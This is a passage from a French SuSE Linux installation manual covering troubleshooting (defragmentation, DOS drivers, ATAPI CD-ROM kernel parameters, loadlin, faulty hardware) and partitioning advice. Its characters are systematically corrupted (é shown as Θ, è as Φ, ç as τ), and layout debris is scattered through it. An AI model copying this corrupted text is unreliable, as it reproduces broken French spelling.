~ Les lecteurs de CD-ROM sur port parallΦle sont maintenant trΦs rΘpandus.
Malheureusement ils ne sont absolument pas standardisΘs, de telle sorte
qu'il survient rΘguliΦrement des problΦmes. SuSE Linux contient toute
une sΘrie de diffΘrents pilotes Alpha pour quelques lecteurs. Si aucun de
ces pilotes ne fonctionne, il ne reste plus que le dΘtour par la partition
DOS. Notez que certains lecteurs supportΘs par Linux ne sont accessibles
que s'ils ont ΘtΘ initialisΘs par leur pilote DOS et que s'il n'a ΘtΘ fait
ensuite qu'un dΘmarrage α chaud : : :
2.7 Descriptions de problΦmes
2.7.1 Impossible de dΘplacer des fichiers
Les fichiers qui ont les attributs systΦme ou cachΘ ne sont normalement pas
dΘplacΘs par les programmes de dΘfragmentation. Pour savoir quels fichiers
vous causent des difficultΘs, vous pouvez avec
attrib \*.* /s > <fichier_listage>
faire Θcrire une liste globale de votre disque dur dans le <fichier`listage>.
Dans cette liste, vous pourrez identifier les fichiers qui posent des problΦmes
et les rendre dΘplaτables avec
attrib -S -H <nom_de_fichier>
Vous devez procΘder avec toute la prudence qui s'impose pour ne pas dΘtruire
de fichiers protΘgΘs contre la copie ni de fichiers de transfert permanents ou
autres fichiers systΦme spΘciaux. AprΦs la dΘfragmentation, vous pourrez ou
devrez remettre les attributs dans leur Θtat initial.
*
* 59
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________
| Sous Windows, vous pouvez utiliser α cette fin le ``gestionnaire de fichiers'' *
* |||
| *
* |||
| ou ``l'Explorer''. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Si vous n'obtenez pas de rΘsultat, il vous faudra bien avaler la pilule et mo-
difier vΘritablement le partitionnement de votre disque dur. Cela signifie, en
particulier, que vous devrez sauvegarder toutes vos donnΘes pour les rΘinsΘrer
aprΦs le repartitionnement. Vous avez bien s√r l'alternative de faire l'acqui-
sition d'un disque dur supplΘmentaire et la baisse constante des prix vous
facilitera peut-Ωtre ce pas : : :
2.7.2 Pas de clavier franτais en mode MS-DOS
En mode DOS, lancez la commande
loadhigh keyb fr`c :\windows\command\keyboard.sys /ID :120
pour la France ou
loadhigh keyb be`c :\windows\command\keyboard.sys
pour la Belgique ou
loadhigh keyb sf`c :\windows\command\keyboard.sys
pour la Suisse ou
loadhigh keyb cf`c :\windows\command\keyboard.sys
pour le Canada, ou insΘrez cette commande dans le fichier autoexec.bat.
Si votre rΘpertoire Windows a un autre nom, vous devez modifier en consΘ-
quence la spΘcification du chemin.
2.7.3 Pas de pilote de CD-ROM en mode MS-DOS
En mode MS-DOS, vous ne disposez que des pilotes qui ont ΘtΘ chargΘs dans
les fichiers config.sys et autoexec.bat. Il est tout α fait raisonnable de
renoncer ici au pilote de CD-ROM (et autres) car Windows 95/98 apporte
ses propres pilotes. Pour pouvoir utiliser quand mΩme les pilotes en mode
MS-DOS, vous devez crΘer un lien pointant sur une invite d'entrΘe MS-DOS
et crΘer vos propres fichiers de dΘmarrage dans les propriΘtΘs registre `Pro-
gramme' sous `╔tendue'. Vous devrez insΘrer vos pilotes dans ces fichiers
pour pouvoir les utiliser dans cette boεte DOS.
2.7.4 le CD est dΘfectueux
Cette ΘventualitΘ est plut⌠t improbable bien qu'on ne puisse pas bien s√r
l'exclure complΦtement. Dans ce cas, adressez-vous en toute confiance α votre
revendeur.
2.7.5 Le CD-ROM ATAPI se bloque α la lecture
Si votre lecteur de CD-ROM + ATAPI n'est pas reconnu ou se bloque α la
lecture, cela provient trΦs souvent du fait que votre matΘriel n'est pas bien
connectΘ. Normalement, les diffΘrents pΘriphΘriques devraient Ωtre connectΘs
en permanence au bus (E)IDE, le premier pΘriphΘrique en mode maεtre au
premier contr⌠leur et le deuxiΦme en mode esclave. Le troisiΦme pΘriphΘrique
est connectΘ en mode maεtre au deuxiΦme contr⌠leur et le quatriΦme en mode
esclave.
60
___________________________________________________________________________________2.7.__Descriptions_de_problΦmes__________*
*______________________
Mais il arrive trΦs souvent que dans une machine il ne se trouve, α c⌠tΘ du
disque dur, que le lecteur de CD-ROM et qu'il soit connectΘ en tant que maεtre
au deuxiΦme contr⌠leur. Dans certains cas, Linux ne peut pas contourner
cette faille de faτon autonome. Il est toutefois possible, dans la plupart des
cas, d'aider le noyau α se tirer d'affaire en spΘcifiant un paramΦtre adΘquat
(hdc=cdrom , voir aussi le paragraphe 14.3.2 page 370).
Il arrive aussi occasionnellement qu'un lecteur soit tout simplement mal
``branchΘ'' dans ce sens qu'il est configurΘ en tant qu'esclave tout en Θtant
connectΘ en tant que maεtre au deuxiΦme contr⌠leur, α moins que ce ne soit
le contraire. En cas de doute, vous devriez vΘrifier ces configurations et les
corriger si besoin.
Il existe en outre toute une sΘrie de chipsets EIDE dΘfectueux. Mais ceux-ci
sont maintenant connus en grande partie et le noyau contient un code qui lui
permet de contourner le problΦme. Pour ces cas, il existe un noyau spΘcial
(voir le README dans le rΘpertoire /disks du CD-ROM d'installation.
Les paramΦtres du noyau α spΘcifier sont dΘcrits de faτon dΘtaillΘe au para-
graphe 14.3.2 page 370 et au chapitre 13 page 359.
_______________________________________________________________________________________________________________________|||
|||||||| || |
|||||||| Si l'amorτage ne fonctionnait pas du premier coup, essayez les paramΦtres || |
|||||||| du noyau mentionnΘs ci-dessous. ~ Vous devez les entrer α l'invite d'amor- || |
|||||||| || |
|||||||| τage (boot :) : || |
|||||||| boot : linux <paramΦtre_α_entrer> || |
|||||||| || |
|||||||| Attention : || |
|||||||| N'oubliez pas de spΘcifier le nom du noyau (linux) devant le nom des || |
|||||||| || |
|||||||| paramΦtres proprement dits ! || |
||||||||_______________________________________________________________________________________________________________||_
~ hd<x>=cdrom - <x> remplace ici a,b,c,d... et signifie :
ffl a - Maεtre connectΘ au 1er contr⌠leur IDE
ffl b - Esclave connectΘ au 1er contr⌠leur IDE
ffl c - Maεtre connectΘ au 2Φme contr⌠leur IDE
ffl : : :
Exemple de <paramΦtre`α`entrer> : hdb=cdrom
Avec ce paramΦtre, vous pouvez faire connaεtre votre lecteur de CD-ROM
au noyau s'il ne parvenait pas α le dΘtecter lui-mΩme et si vous possΘdez
un lecteur de CD-ROM + ATAPI.
~ ide<x>=noautotune - <x> remplace 0,1,2,3 et signifie :
ffl 0 - 1er contr⌠leur IDE
ffl 1 - 2Φme contr⌠leur IDE
ffl : : :
Exemple de <paramΦtre`α`entrer> : ide0=noautotune
Avec les disques durs (E)IDE, ce paramΦtre se revΦle souvent efficace.
*
* 61
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| Vous trouverez d'autres paramΦtres du noyau au paragraphe 14.3.2 *
* ||||
|| page 370 et pages suivantes. Jetez-y un coup d'oeil si vous avez des dif- *
* ||||
| ficultΘs avec certaines systΦmes SCSI ou si l'intΘgration de cartes rΘseau *
* ||||
| *
* |||
| vous pose des problΦmes. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
2.7.6 Lecteurs de CD-ROM sur port parallΦle
Pendant la phase d'installation, Linuxrc vous propose un choix de tous les
pilotes disponibles. GΘnΘralement, il n'y a rien de particulier α observer.
Malheureurement, de nombreux lecteurs (par exemple Freecom ) ne sont pas
encore supportΘs. Il arrive mΩme occasionnellement que certains lecteurs ne
puissent pas Ωtre utilisΘs bien qu'α en croire leur Θtiquette ils soient d'un
type identique. Les constructeurs ont apparemment fait des modifications
internes sans donner au produit une nouvelle dΘnomination qui rendrait ces
modifications Θvidentes : : :
Quelques lecteurs doivent Ωtre initialisΘs par le pilote DOS correspondant
pour que le noyau Linux puisse les reconnaεtre :
1. Amorcez DOS et faites charger le pilote de CD-ROM.
2. InsΘrez la disquette d'amorτage Linux.
3. ProcΘdez α un dΘmarrage α chaud.
Avec des lecteurs non supportΘs, il est toujours nΘcessaire d'effectuer l'ins-
tallation par le biais d'une partition DOS (voir paragraphe 2.4 page 46).
Pour la programmation du port parallΦle sous Linux, voir http://www.
torque.net/linux-pp.html.
2.7.7 Lecteurs de CD-ROM ``propriΘtaires''
Pour les lecteurs Mitsumi, il existe diffΘrents pilotes ! Les pilotes Mitsumi
spΘciaux gΦrent explicitement les ``vieux'' lecteurs connectΘs α leur propre
contr⌠leur (par exemple LU-005 ou FX-001).
Pour les lecteurs plus rΘcents (tels que FX-400) c'est l'option `ATAPI EIDE'
qui doit Ωtre sΘlectionnΘe ! Ceci est Θgalement valable pour les lecteurs de
Sony et Aztech.
Le pilote MCDX Mitsumi se distingue du pilote Mitsumi ``normal'' unique-
ment par le fait qu'il est capable de lire des CD multisessions. Il est donc
pratiquement sans importance pour l'installation que vous utilisiez l'un ou
l'autre. Nous avons toutefois dΘcidΘ de proposer explicitement ce pilote car
il peut arriver, dans certains cas, que seul l'un des deux pilotes fonctionne et
que l'on veuille alors mettre toutes les chances de son c⌠tΘ.
2.7.8 Thinkpad ``s'endort'' pendant l'installation
└ un point quelconque du processus d'installation, il se produit un arrΩt :-(
Il ne nous est pas encore possible de vous proposer une solution valable sur
un plan gΘnΘral. Une mΘthode qui semble praticable, du moins pour de vieux
modΦles, consiste α dΘmarrer l'installation α partir de DOS avec setup.exe et
de charger Linux avec loadlin (voir paragraphe 2.5 page 50).
62
___________________________________________________________________________________2.7.__Descriptions_de_problΦmes__________*
*______________________
Ces tuyaux nous ont ΘtΘ communiquΘs au fil du temps ; il nous intΘresse
toujours de connaεtre vos rΘactions et commentaires :
~ Placez dans le BIOS du notebook tout ce qui a pour but de vous faire Θco-
nomiser de l'Θnergie ; mots-clΘs : ``suspend mode'', ``power management'',
``sleep features''.
~ Si vous dΘmarrez α partir de DOS, chargez votre pilote de CD-ROM
dans config.sys avec l'option /S (pour sleep ) ; remplacez <drive>
et <path> par vos propres valeurs :
DEVICE = <drive>:\<path>\IBMTPCD.SYS /S
~ Pendant l'installation, Θvitez tout accΦs au lecteur de disquettes.
2.7.9 loadlin n'a pas suffisamment de mΘmoire pour charger le noyau
Vous n'avez pas suffisamment de mΘmoire disponible au dessous de 640 Ko.
Essayez de retirer quelques pilotes des fichiers de dΘmarrage du systΦme ou
de les charger dans une zone de mΘmoire plus haute.
Si vous avez, sous Windows 95/98, des lecteurs compressΘs et si le charge-
ment du pilote dans une zone de mΘmoire haute ne donne aucun rΘsultat, vous
devrez dΘcompresser les lecteurs compressΘs.
2.7.10 loadlin ne fonctionne pas
Si vous deviez avoir quelques problΦmes avec loadlin , vous pouvez le lancer
avec les options -v , -t ou -d . Le mieux est de faire Θcrire avec
C:\> loadlin -d debug.out <autres_paramΦtres>
les informations de dΘbogage dans le fichier debug.out. Vous pourrez en-
voyer ce fichier au service d'Assistance Technique de SuSE . Vous rempla-
cerez <autres`paramΦtres> par les donnΘes de votre propre systΦme (voir
paragraphe 4.9.1 page 144).
2.7.11 DOS tourne en mode protΘgΘ
loadlin ne peut amorcer le noyau que si la machine se trouve soit en mode
rΘel, soit en mode virtuel 8086 (avec un serveur VCPI disponible). Si vous
travaillez sous Windows 95/98, vous devrez mettre votre machine en mode
MS-DOS.
~ Pour cela, vous vous servirez du bouton `DΘmarrer', `ArrΩter : : : ',
`RedΘmarrer l'ordinateur en mode MS-DOS' ou
~ vous crΘerez un lien vers l'invite d'entrΘe de MS-DOS et vous modifierez
les caractΘristiques de cette maniΦre : dans le registre `Programme', vous
choisirez `╔tendue'et vous marquerez d'une croix `Mode MS-DOS'. Si
l'invite d'entrΘe est maintenant dΘmarrΘe, votre machine passe en mode
MS-DOS.
*
* 63
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
2.7.12 DΘnomination du lecteur de CD-ROM
Si vous avez crΘΘ avec fips une autre partition sur le disque dur, il s'agit
d'une partition DOS. Pour cette raison, les lettres de lecteur sont dΘcalΘes et
le lecteur de CD-ROM n'est plus par exemple D : mais E :
AprΦs modification des types de partition avec YaST , tout rendre dans l'ordre
et le lecteur de CD-ROM redevient D :
Si vous avez des difficultΘs, sous Windows 95/98, α ouvrir Explorer ou le
poste de travail, c'est qu'il essaie encore d'accΘder α D : (pour nous en tenir
α cet exemple). Vous devez lui venir en aide avec le panneau de configuration
et entrer l'identification du lecteur de CD-ROM.
2.7.13 ProblΦmes d'ordre gΘnΘral avec le matΘriel
Vous rencontrez un ou plusieurs des phΘnomΦnes suivants :
~ ProblΦmes de synchronisation lors de l'accΦs au lecteur de CD-ROM (blo-
cage, longue attente, erreur du bus, fautes de segmentation).
~ La gΘnΘration du noyau (ou d'autres programmes) avorte avec le signal 11
ou le signal 7.
~ Contenu de fichier erronΘ
~ Erreur lors de l'accΦs α la mΘmoire
~ Erreur lors de la reprΘsentation graphique
~ Erreur crc lors de l'accΦs au lecteur de disquettes
~ Plantage ou blocage pendant la procΘdure d'amorτage
~ Erreur lors de la crΘation des systΦmes de fichiers (message d'erreur de
mke2fs )
~ Erreur lors de l'installation de la zone de swap
~ Autres comportements ``bizarres'' du systΦme lors de l'accΦs au matΘriel
Informations de fond
Ces phΘnomΦnes Θtranges sont trΦs probablement d√s α un matΘriel dΘfec-
tueux ou configurΘ de faτon trop critique. Ils sont causΘs par certaines cartes
mΦres qui ont de toute Θvidence des problΦmes de synchronisation. Ces pro-
blΦmes se manifestent par des erreurs sur le bus (CPU-Memory-PCI-ISA).
MΩme si votre matΘriel fonctionne bien par exemple sous DOS ou Windows,
ceci n'est pas une garantie, ni pour sa stabilitΘ ni pour sa configuration. Bien
qu'un tel matΘriel s'accommode de l'accΦs mΘmoire lent et segmentΘ d'un
CPU en mode rΘel 16 bits (sous DOS ou Windows), il se produit des erreurs
dΦs qu'il est accΘdΘ α la mΘmoire en mode linΘaire avec salves de 32 bits.
Une autre cause peut Ωtre constituΘe par un mauvais refroidissement du CPU
ou par des modules RAM (SIMMS) dΘfectueux (par exemple vulnΘrables
α la chaleur). Des erreurs dans le cache de second niveau (inconsistance,
problΦmes de tempΘrature) peuvent aussi provoquer les effets citΘs ci-dessus.
La faute incombe donc au matΘriel et non pas α Linux qui met uniquement
ces problΦmes en Θvidence.
64
___________________________________________________________________________________2.7.__Descriptions_de_problΦmes__________*
*______________________
Linux se montre plus exigeant que d'autres systΦmes d'exploitation vis-α-vis
du matΘriel, ce qui provoque par exemple les difficultΘs mentionnΘes plus
haut. Linux doit toujours avoir la garantie que la base matΘrielle fonctionne
de faτon stable. Si ce n'est pas le cas, Linux refuse (α juste titre) le service.
Un systΦme d'exploitation qui continue α tourner avec un matΘriel dΘfectueux
ou potentiellement dΘfectueux constitue un risque non nΘgligeable pour la
sΘcuritΘ.
Voir http://www.bitwizard.nl/sig11.
Que faire ?
Il existe toute une sΘrie de paramΦtres et de conditions que l'on peut ``mani-
puler'' afin d'isoler au moins le composant dΘfecteux ou fonctionnant mal.
~ DΘsactiver le cache interne et/ou externe : par rΘglage du BIOS (CMOS).
~ RΘduire la frΘquence du bus (VLB 40MHz au maximum ! Bus PCI, selon
la spΘcification, au maximum 66 MHz de frΘquence externe) : par rΘglage
du BIOS ou par des cavaliers (angl. jumpers) sur la carte.
~ Augmenter le nombre des Θtats d'attente lors de l'accΦs du CPU α la
mΘmoire centrale ou au cache : par rΘglage du BIOS.
~ VΘrifier si une option `15-16M Memory Hole' est active dans le Setup
du BIOS : le cas ΘchΘant, dΘsactivez-la ! Linux ne s'attend pas α trouver
de tels ``trous''.
~ Dans (Advanced) Chipset Setup, si cette option existe, activer `CAS be-
fore RAS' : par rΘglage du BIOS.
~ VΘrifier les modules mΘmoire :
~ Ce sont particuliΦrement les types diffΘrents de circuits et modules qui
crΘent rΘguliΦrement des problΦmes !
~ Pour un bus PCI avec 66 MHz, les modules DRAM doivent Ωtre spΘ-
cifiΘs avec 60 ns ou mΩme moins ~ pas de sur-cadence (angl. overclo-
cking).
~ VΘrifiez la fixation des barrettes SIMMS ou DIMMS qui doivent Ωtre
exactement adaptΘes, suffisamment serrΘes et bien en place. Le cas
ΘchΘant, retirez les modules et remettez-les en place (faites attention
aux contacts corrodΘs !).
~ Modifiez l'ordre des modules et des bancs de mΘmoire.
~ Assurez-vous que le ventilateur CPU fonctionne et qu'il se trouve exacte-
ment sur le CPU (utilisez le cas ΘchΘant une pΓte conductrice de chaleur).
~ DΘsactivez la gestion d'Θnergie propre au systΦme (APM). Ceci est une
source d'erreur frΘquente tout particuliΦrement pour Adaptec 2940 ainsi
qu'il a ΘtΘ constatΘ α plusieurs reprises : par rΘglage du BIOS.
~ Certains clones de Pentium crΘent des difficultΘs lorsque le noyau ou le
compilateur a ΘtΘ optimisΘ Pentium et qu'il n'est pas utilisΘ un vΘritable
Pentium mais par exemple un AMD K6 ou Cyrix 6x86. Dans un tel sys-
tΦme, optimisez le noyau ou les programmes pour les processeurs 486
au maximum, le cas ΘchΘant seulement pour les 386. Utilisez le noyau
standard de SuSE (voir paragraphe 3.6.2 page 103).
*
* 65
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
~ Contr⌠lez les paramΦtres gΘnΘraux dans le Setup du BIOS et activez Θven-
tuellement l'option (conservatrice) `BIOS-Defaults'.
~ Dans le cas d'un BIOS PC dΘfectueux, le seul recours est une mise α jour
du BIOS. Adressez-vous α votre revendeur ou au fabricant.
~ L'alimentation ne fournit pas suffisamment d'Θnergie ou l'alimentation en
Θnergie est instable. Tentez de mettre hors fonction certains pΘriphΘriques.
~ Renoncez au ``Busmaster DMA'' appelΘ aussi ``UDMA'' ou ``Ultra DMA''.
Veillez α ce que les cΓbles EIDE soient courts et de bonne qualitΘ.
66
__________________________________________________________________________2.8.__Partitionnement_pour_dΘbutants______________*
*______________________
2.8 Partitionnement pour dΘbutants
Vous n'Ωtes pas encore familiarisΘ avec Linux et son systΦme de fichiers. Vos
questions sont les suivantes : Combien d'espace doit-on mettre α la disposi-
tion de Linux ? De combien a-t-on absolument besoin ? Combien devrait-on
avoir ? Combien est-il utile d'avoir ? Comment doit-on rΘpartir l'espace ?
Types de partitions pour le PC
Chaque disque dur contient une table des partitions qui permet de faire quatre
entrΘes. Chaque entrΘe dans la table des partitions peut correspondre soit α
une partition primaire soit α une partition Θtendue. Vous ne pouvez cependant
avoir qu'une seule partition Θtendue.
Il est trΦs facile d'examiner les partitions primaires : elles constituent une
zone ininterrompue de cylindres attribuΘs α un systΦme d'exploitation. Avec
les partitions primaires, on ne pourrait installer par cylindre qu'un nombre
maximal de quatre partitions, il n'est pas possible d'en mettre plus dans la
table des partitions.
C'est ici qu'entre en jeu le concept de la partition Θtendue. La partition Θten-
due est Θgalement une zone ininterrompue de cylindres du disque dur. On peut
cependant partager encore une fois la partition Θtendue en partitions dites lo-
giques qui ne nΘcessitent, par elles-mΩmes, aucune entrΘe dans la table des
partitions. La partition Θtendue sert en quelque sorte α contenir les partitions
logiques.
Si vous avez besoin de plus de quatre partitions, vous devrez prΘvoir, lors du
partitionnement, de transformer au plus tard la quatriΦme partition en partition
Θtendue et vous devrez lui attribuer de l'espace disponible sur le cylindre.
Vous pourrez y crΘer des partitions logiques ``α volontΘ'' (le maximum est
de 15 partitions pour les disques SCSI et de 63 partitions pour les disques
(E)IDE).
Linux ne se prΘoccupe pas du type des partitions (primaires et/ou logiques)
sur lesquelles l'installation est effectuΘe.
Prendre des dΘcisions
Commenτons par la question concernant ce qui est absolument indispen-
sable : 180 Mo, ce qui suppose dΘjα un usage particulier de la machine. On
travaille uniquement sur la console ~ sans systΦme X Window. Si l'on veut
donner un coup d'oeil α X et lancer un petit nombre d'applications : 500 Mo.
Ces deux valeurs incluent le swap.
Combien devrait-on avoir ? 1 Go. Dans le monde des disques durs de plu-
sieurs giga-octets, c'est une exigence plut⌠t modeste. Swap inclus et sans
limite supΘrieure.
Combien est-il utile d'avoir ? Cela dΘpend de ce que vous voulez :
~ Travailler sous X avec des applications modernes telles que KDE , Ap-
plixware et Netscape : de 1,2 Go.
~ DΘvelopper, avec Linux, de petites applications personnelles sous X. ╔ga-
lement 1,2 Go.
*
* 67
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
~ Les deux points mentionnΘs ci-dessus : 2 Go.
~ Compiler vos propres serveurs X, graver vos propres CD et faire ce qui
est mentionnΘ ci-dessus : 4 Go.
~ Avoir une connexion Internet et utiliser FTP : 700 Mo de systΦme de base
+ le nombre qui vous conviendra.
Comment faut-il rΘpartir l'espace ? C'est une question simple α laquelle il est
beaucoup moins simple de rΘpondre.
________________________________________________________________________________________________________*
*________||
| Le systΦme de fichiers Linux Θtant maintenant d'une certaine robustesse, *
* ||||
| une bonne marche α suivre, surtout pour les dΘbutants, consiste α adopter la *
* |||
| *
* |||
| mΩme stratΘgie que YaST : prΘvoir une petite partition au dΘbut du disque *
* |||
| pour /boot (2 Mo au minimum, pour les grands disques 1 cylindre), une *
* |||
| *
* |||
| partition de swap (64-128 Mo) et tout le reste pour /. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Si vous voulez partitionner le moins possible suivez les rΦgles ci-dessous :
~ jusqu'α environ 500 Mo : une partition de swap et une partition racine (/)
~ de 500 Mo environ α 2 Go : petite partition de dΘmarrage pour le noyau
et pour LILO au dΘbut du disque dur (/boot, environ 5-10 Mo ou 1 cy-
lindre), partition de swap et le reste pour la partition racine (/).
~ α partir d'environ 2 Go : Boot (/boot), swap, root (180 Mo), home
(/home avec environ 100 Mo par utilisateur) et le reste pour les pro-
grammes (/usr), le cas ΘchΘant une partition supplΘmentaire pour /opt
(voir prΘsente page) et pour /var.
________________________________________________________________________________________________________*
*________||
| Si vous voulez lancer Linux directement α partir du disque dur, vous aurez *
* ||||
| *
* |||
| besoin, comme partition de dΘmarrage, d'une partition Linux situΘe au *
* |||
| dessous de ``la limite du cylindre 1024'' (voir page 121 et page 139). Ceci *
* |||
| *
* |||
| ne vous concerne pas si vous lancez Linux α partir de DOS-Windows α *
* |||
| l'aide de loadlin . Habituellement (α partir de SuSE Linux 6.0), c'est la *
* |||
| *
* |||
| partition boot (/boot) qui est cette partition de dΘmarrage. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Il faut Θgalement considΘrer que quelques programmes (commerciaux pour
la plupart) installent leurs donnΘes sous /opt. Vous devrez prΘvoir, le cas
ΘchΘant, soit une partition sΘparΘe pour /opt, soit une taille plus grande
pour la partition racine. Il s'agit, entre autres, des paquetages logiciels dont
le tableau 2.1 page suivante vous donne la liste ou de dΘmos ~ calculΘs α
chaque fois en vue d'un Θventuel accroissement (le tableau mentionne aussi
des programmes qui ne sont pas inclus dans la distribution SuSE Linux !).
2.9 Partitionnement avancΘ
Le paragraphe 2.8 page prΘcΘdente ainsi que le paragraphe 2.10.1 page 75
vous donnent des dΘtails sur les possibilitΘs de partitionnement du systΦme.
Le but du prΘsent paragraphe est de vous fournir des informations dΘtaillΘes
qui vous permettront d'Θtablir un plan optimal de partitionnement adaptΘ α
vos besoins. Ce paragraphe prΘsente un intΘrΩt particulier pour tous ceux qui
veulent configurer leur systΦme de faτon optimale ~ tant du point de vue de la
68
_______________________________________________________________________________________2.9.__Partitionnement_avancΘ_________*
*______________________
_______________________________________________________________________________________________________________________
KDE 170 Mo
GNOME 100 Mo
htdig 5 Mo
Fortify 2 Mo
dochost avec recherche plein texte htdig 200 Mo
Wabi 10 Mo
Netscape 35 Mo
Arcad 350 Mo
Applixware 400 Mo
Eagle 18 Mo
Staroffice 150 Mo
Bartels AutoEngineer (BAE) 60 Mo
Cyberscheduler Software 30 Mo
HP Eloquence 20 Mo
Cygnus Source-Navigator 20 Mo
SNiFF+ 45 Mo
Insure++ 45 Mo
pep 18 Mo
Oracle 8 400 Mo
Sybase ~ Adaptive Server Enterprise 170 Mo
__________virtuoso_~_OpenLink_Virtuoso_Lite_Edition___________________________55_Mo____________________________________
Tab. 2.1: Exemples pour paquetages sous /opt ~ ces paquetages ne sont pas
tous fournis avec SuSE Linux !
sΘcuritΘ que du point de vue de la rapiditΘ ~ et qui sont disposΘs pour atteindre
ce but α reconstruire complΦtement leur systΦme et α faire en quelque sorte
table rase.
Il est absolument indispensable de comprendre les bases du fonctionnement
d'un systΦme de fichiers UNIX. Les expressions + point de montage ainsi
que partition physique, Θtendue et logique ne devraient pas Ωtre pour vous des
mots Θtrangers.
Il doit tout d'abord Ωtre mentionnΘ qu'il n'existe pas une seule bonne voie va-
lable pour tous mais plusieurs bonnes voies pour chacun. Soyez sans crainte,
vous trouverez dans ce paragraphe des chiffres concrets qui pourront vous
servir de rΘfΘrence.
Pour commencer, rassemblez les informations suivantes :
~ Quelle est la fonction de la machine (serveur de fichiers, serveur de calcul,
ordinateur monoposte) ?
~ Combien de personnes travailleront sur cette machine (logins simulta-
nΘs) ?
~ Combien de disques durs possΦde la machine, de quelle taille sont-ils et
quel systΦme ont-ils (EIDE, SCSI ou mΩme Θventuellement contr⌠leur
RAID) ?
*
* 69
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
2.9.1 Taille de la partition de swap
Vous lirez encore trΦs souvent : ``Au moins deux fois autant de + swap que
de mΘmoire centrale''. Cette formule date de l'Θpoque o∙ 8 Mo de mΘmoire
vive (RAM) n'Θtaient pas peu de chose. Mais ces temps sont rΘvolus et qui
fait aujourd'hui l'acquisition d'une nouvelle machine avec moins de 32 Mo
de mΘmoire a ΘtΘ mal conseillΘ. Revenons maintenant α ce que nous avons dit
plus haut. Le but α atteindre Θtait que la machine dispose d'environ 30 α 40 Mo
de + mΘmoire virtuelle.
Avec certaines applications modernes qui demandent beaucoup de mΘmoire,
nous devons encore incrΘmenter ces valeurs. En cas normal, 64 Mo de mΘ-
moire virtuelle devraient suffire mais il vaudrait mieux ne pas se montrer trop
avare. Si l'on compile le noyau sous X et si l'on veut consulter les pages
d'aide avec Netscape pendant qu'Emacs est en train de tourner quelque part,
64 Mo de mΘmoire virtuelle ne laissent plus beaucoup de rΘserves.
C'est pourquoi l'utilisateur moyen se trouve pour un bon moment dans une
position s√re avec 128 Mo de mΘmoire virtuelle. Voici ce que vous devriez
α tout prix Θviter : ne pas avoir du tout de mΘmoire de swap. MΩme dans
une machine de 256 Mo de mΘmoire vive, il doit exister une zone de swap.
Les raisons en sont claires α la lecture du paragraphe 2.9.3 page 73 (Fonction
comme serveur de calcul).
Vous faites calculer de trΦs importantes simulations avec un besoin de mΘ-
moire ( !) de plusieurs giga-octets. Si vous deviez avoir des doutes et vous
demander si Linux offre une rΘserve suffisante pour vos applications, lisez le
paragraphe 2.9.2 page suivante (Fonction comme serveur de calcul).
2.9.2 PossibilitΘs de fonction de la machine
Fonction comme ordinateur monoposte :
Le cas d'utilisation le plus courant pour une petite machine Linux est la fonc-
tion d'ordinateur monoposte. Afin que vous puissiez vous orienter α des va-
leurs concrΦtes, nous avons Θtabli ici quelques configurations exemples dont
vous pourrez le cas ΘchΘant vous servir chez vous ou dans votre entreprise.
Le tableau 2.2 vous donne une vue d'ensemble des diffΘrents volumes d'ins-
tallation pour un systΦme Linux.
________________________________________________________________________________________________________*
*________
__Installation_________Espace_disque_nΘcessitΘ_________________________________________________________*
*________
minimale 180 Mo α 400 Mo
petite 400 Mo α 800 Mo
moyenne 800 Mo α 4 Go
grande 4 Go α 8 Go
________________________________________________________________________________________________________*
*________
Tab. 2.2: Exemples pour diffΘrentes tailles d'installation
Ces valeurs seront bien s√r incrΘmentΘes si vous voulez sauvegarder des don-
nΘes supplΘmentaires ne faisant pas partie du systΦme.
70
_______________________________________________________________________________________2.9.__Partitionnement_avancΘ_________*
*______________________
Exemple : Ordinateur station de travail standard (de trΦs petite taille)
Vous avez un disque dur d'environ 500 Mo et vous dΘsirez y installer Linux :
une partition de swap d'environ 64 Mo et le reste pour / (partition racine).
Exemple : Ordinateur station de travail standard (moyen)
Vous avez 1.2 Go d'espace disponible pour Linux. Petite partition de dΘmar-
rage (5-10 Mo ou 1 cylindre), 180 Mo pour /, 64 Mo pour le swap, 100 Mo
pour /home et le reste pour /usr. N'oubliez pas la zone /opt (voir para-
graphe 2.8 page 68). Pour la dΘtermination de la partition racine, vous devez
tenir compte du fait que la base de donnΘes RPM est crΘΘe sous /var (voir
paragraphe 15.3.2 page 419) !
Exemple : Ordinateur station de travail standard (de luxe)
Si vous disposez de 1,2 Go ou davantage sur plusieurs disques durs, il n'existe
pas de partitionnement ``clΘs en main''. Lisez α ce sujet le paragraphe 2.9.3
page suivante.
Fonction comme serveur de fichiers :
Ici tout dΘpend vraiment de la performance du disque dur. Vous devriez abso-
lument donner la prΘfΘrence aux pΘriphΘriques SCSI. Tenez compte aussi de
la capacitΘ de rendement des disques et du contr⌠leur utilisΘ.
Un serveur de fichiers vous donne la possibilitΘ de stocker centralement des
donnΘes. Il peut s'agir ici de + rΘpertoires personnels, d'une base de donnΘes
ou autre archive. L'avantage est une administration beaucoup plus simple.
Si le serveur de fichiers doit fonctionner dans un rΘseau assez grand (α partir
de 20 utilisateurs) l'optimisation de l'accΦs au(x) disque(s) est essentielle.
Supposons que vous vouliez crΘer un serveur de fichiers Linux qui devra
mettre α disposition les rΘpertoires personnels (home) de 25 utilisateurs. Vous
savez que chaque utilisateur aura besoin, au maximum, de 80 Mo pour ses
donnΘes personnelles. Si chacun de ces utilisateurs ne compile pas constam-
ment dans son rΘpertoire personnel, un disque de 2 Go montΘ simplement
sous /home sera suffisant.
Si vous avez 50 utilisateurs, vous pouvez facilement en dΘduire par simple
calcul qu'il vous faut un disque de 4 Go. Il serait cependant prΘfΘrable, dans
un tel cas, de rΘpartir /home sur deux disques de 2 Go qui se partageraient
alors la tΓche (et le temps d'accΦs !).
Fonction comme serveur de calcul :
Un serveur de calcul est en rΦgle gΘnΘrale une machine α haut rendement
qui exΘcute en rΘseau des tΓches intensives en ressources processeur. Il est
